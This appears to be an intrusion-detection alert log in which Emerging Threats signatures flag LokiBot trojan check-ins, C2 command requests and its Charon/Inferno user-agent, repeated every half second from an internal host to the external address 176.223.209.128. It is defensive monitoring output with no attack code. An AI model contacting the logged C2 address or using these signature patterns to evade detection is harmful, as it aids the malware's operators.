11/25/21-10:53:00.086672	TCP	2025381	ET TROJAN LokiBot Checkin	50416	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.086672	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50416	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.611075	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50417	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.611075	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50417	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.611075	TCP	2025381	ET TROJAN LokiBot Checkin	50417	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.611075	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50417	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.130911	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50418	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.130911	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50418	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.130911	TCP	2025381	ET TROJAN LokiBot Checkin	50418	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.130911	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50418	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.578296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50419	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.578296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50419	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.578296	TCP	2025381	ET TROJAN LokiBot Checkin	50419	80	192.168.11.20	176.223.209.128
11/25/21-10:53:01.578296	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50419	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.060783	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50420	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.060783	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50420	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.060783	TCP	2025381	ET TROJAN LokiBot Checkin	50420	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.060783	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50420	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.537939	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50421	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.537939	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50421	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.537939	TCP	2025381	ET TROJAN LokiBot Checkin	50421	80	192.168.11.20	176.223.209.128
11/25/21-10:53:02.537939	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50421	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.009358	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50422	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.009358	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50422	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.009358	TCP	2025381	ET TROJAN LokiBot Checkin	50422	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.009358	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50422	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.550200	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50423	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.550200	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50423	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.550200	TCP	2025381	ET TROJAN LokiBot Checkin	50423	80	192.168.11.20	176.223.209.128
11/25/21-10:53:03.550200	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50423	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.065980	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50424	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.065980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50424	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.065980	TCP	2025381	ET TROJAN LokiBot Checkin	50424	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.065980	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50424	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.540647	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50425	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.540647	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50425	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.540647	TCP	2025381	ET TROJAN LokiBot Checkin	50425	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.540647	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50425	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.999029	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50426	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.999029	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50426	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.999029	TCP	2025381	ET TROJAN LokiBot Checkin	50426	80	192.168.11.20	176.223.209.128
11/25/21-10:53:04.999029	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50426	80	192.168.11.20	176.223.209.128
11/25/21-10:53:05.526148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50427	80	192.168.11.20	176.223.209.128
11/25/21-10:53:05.526148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50427	80	192.168.11.20	176.223.209.128
11/25/21-10:53:05.526148	TCP	2025381	ET TROJAN LokiBot Checkin	50427	80	192.168.11.20	176.223.209.128
11/25/21-10:53:05.526148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50427	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.040957	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50428	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.040957	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50428	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.040957	TCP	2025381	ET TROJAN LokiBot Checkin	50428	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.040957	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50428	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.546834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50429	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.546834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50429	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.546834	TCP	2025381	ET TROJAN LokiBot Checkin	50429	80	192.168.11.20	176.223.209.128
11/25/21-10:53:06.546834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50429	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.053704	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50430	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.053704	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50430	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.053704	TCP	2025381	ET TROJAN LokiBot Checkin	50430	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.053704	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50430	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.512223	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50431	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.512223	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50431	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.512223	TCP	2025381	ET TROJAN LokiBot Checkin	50431	80	192.168.11.20	176.223.209.128
11/25/21-10:53:07.512223	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50431	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.018557	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50432	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.018557	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50432	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.018557	TCP	2025381	ET TROJAN LokiBot Checkin	50432	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.018557	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50432	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.530988	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50433	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.530988	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50433	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.530988	TCP	2025381	ET TROJAN LokiBot Checkin	50433	80	192.168.11.20	176.223.209.128
11/25/21-10:53:08.530988	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50433	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.043355	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50434	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.043355	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50434	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.043355	TCP	2025381	ET TROJAN LokiBot Checkin	50434	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.043355	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50434	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.554097	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50435	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.554097	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50435	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.554097	TCP	2025381	ET TROJAN LokiBot Checkin	50435	80	192.168.11.20	176.223.209.128
11/25/21-10:53:09.554097	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50435	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.015600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50436	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.015600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50436	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.015600	TCP	2025381	ET TROJAN LokiBot Checkin	50436	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.015600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50436	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.527559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50437	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.527559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50437	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.527559	TCP	2025381	ET TROJAN LokiBot Checkin	50437	80	192.168.11.20	176.223.209.128
11/25/21-10:53:10.527559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50437	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.042169	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50438	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.042169	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50438	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.042169	TCP	2025381	ET TROJAN LokiBot Checkin	50438	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.042169	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50438	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.544618	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50439	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.544618	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50439	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.544618	TCP	2025381	ET TROJAN LokiBot Checkin	50439	80	192.168.11.20	176.223.209.128
11/25/21-10:53:11.544618	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50439	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.051973	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50440	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.051973	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50440	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.051973	TCP	2025381	ET TROJAN LokiBot Checkin	50440	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.051973	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50440	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.567729	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50441	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.567729	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50441	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.567729	TCP	2025381	ET TROJAN LokiBot Checkin	50441	80	192.168.11.20	176.223.209.128
11/25/21-10:53:12.567729	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50441	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.013848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50442	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.013848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50442	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.013848	TCP	2025381	ET TROJAN LokiBot Checkin	50442	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.013848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50442	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.443385	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50443	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.443385	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50443	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.443385	TCP	2025381	ET TROJAN LokiBot Checkin	50443	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.443385	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50443	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.950038	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50444	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.950038	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50444	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.950038	TCP	2025381	ET TROJAN LokiBot Checkin	50444	80	192.168.11.20	176.223.209.128
11/25/21-10:53:13.950038	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50444	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.461542	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50445	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.461542	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50445	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.461542	TCP	2025381	ET TROJAN LokiBot Checkin	50445	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.461542	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50445	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.963607	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50446	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.963607	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50446	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.963607	TCP	2025381	ET TROJAN LokiBot Checkin	50446	80	192.168.11.20	176.223.209.128
11/25/21-10:53:14.963607	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50446	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.460895	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50447	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.460895	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50447	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.460895	TCP	2025381	ET TROJAN LokiBot Checkin	50447	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.460895	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50447	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.970796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50448	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.970796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50448	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.970796	TCP	2025381	ET TROJAN LokiBot Checkin	50448	80	192.168.11.20	176.223.209.128
11/25/21-10:53:15.970796	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50448	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.443543	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50449	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.443543	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50449	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.443543	TCP	2025381	ET TROJAN LokiBot Checkin	50449	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.443543	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50449	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.946928	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50450	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.946928	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50450	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.946928	TCP	2025381	ET TROJAN LokiBot Checkin	50450	80	192.168.11.20	176.223.209.128
11/25/21-10:53:16.946928	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50450	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.460876	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50451	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.460876	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50451	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.460876	TCP	2025381	ET TROJAN LokiBot Checkin	50451	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.460876	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50451	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.961556	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50452	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.961556	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50452	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.961556	TCP	2025381	ET TROJAN LokiBot Checkin	50452	80	192.168.11.20	176.223.209.128
11/25/21-10:53:17.961556	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50452	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.455844	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50453	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.455844	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50453	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.455844	TCP	2025381	ET TROJAN LokiBot Checkin	50453	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.455844	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50453	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.884130	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50454	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.884130	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50454	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.884130	TCP	2025381	ET TROJAN LokiBot Checkin	50454	80	192.168.11.20	176.223.209.128
11/25/21-10:53:18.884130	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50454	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.409172	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50455	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.409172	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50455	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.409172	TCP	2025381	ET TROJAN LokiBot Checkin	50455	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.409172	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50455	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.898078	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50456	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.898078	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50456	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.898078	TCP	2025381	ET TROJAN LokiBot Checkin	50456	80	192.168.11.20	176.223.209.128
11/25/21-10:53:19.898078	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50456	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.393989	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50458	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.393989	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50458	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.393989	TCP	2025381	ET TROJAN LokiBot Checkin	50458	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.393989	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50458	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.908345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50459	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.908345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50459	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.908345	TCP	2025381	ET TROJAN LokiBot Checkin	50459	80	192.168.11.20	176.223.209.128
11/25/21-10:53:20.908345	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50459	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.387957	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50460	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.387957	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50460	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.387957	TCP	2025381	ET TROJAN LokiBot Checkin	50460	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.387957	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50460	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.894494	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50461	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.894494	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50461	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.894494	TCP	2025381	ET TROJAN LokiBot Checkin	50461	80	192.168.11.20	176.223.209.128
11/25/21-10:53:21.894494	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50461	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.409035	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50462	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.409035	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50462	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.409035	TCP	2025381	ET TROJAN LokiBot Checkin	50462	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.409035	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50462	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.929210	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50463	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.929210	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50463	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.929210	TCP	2025381	ET TROJAN LokiBot Checkin	50463	80	192.168.11.20	176.223.209.128
11/25/21-10:53:22.929210	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50463	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.429112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50464	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.429112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50464	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.429112	TCP	2025381	ET TROJAN LokiBot Checkin	50464	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.429112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50464	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.867977	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50465	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.867977	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50465	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.867977	TCP	2025381	ET TROJAN LokiBot Checkin	50465	80	192.168.11.20	176.223.209.128
11/25/21-10:53:23.867977	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50465	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.376610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50466	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.376610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50466	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.376610	TCP	2025381	ET TROJAN LokiBot Checkin	50466	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.376610	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50466	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.847520	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50467	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.847520	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50467	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.847520	TCP	2025381	ET TROJAN LokiBot Checkin	50467	80	192.168.11.20	176.223.209.128
11/25/21-10:53:24.847520	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50467	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.354969	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50468	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.354969	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50468	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.354969	TCP	2025381	ET TROJAN LokiBot Checkin	50468	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.354969	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50468	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.882854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50469	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.882854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50469	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.882854	TCP	2025381	ET TROJAN LokiBot Checkin	50469	80	192.168.11.20	176.223.209.128
11/25/21-10:53:25.882854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50469	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.385596	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50470	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.385596	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50470	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.385596	TCP	2025381	ET TROJAN LokiBot Checkin	50470	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.385596	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50470	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.886544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50471	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.886544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50471	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.886544	TCP	2025381	ET TROJAN LokiBot Checkin	50471	80	192.168.11.20	176.223.209.128
11/25/21-10:53:26.886544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50471	80	192.168.11.20	176.223.209.128
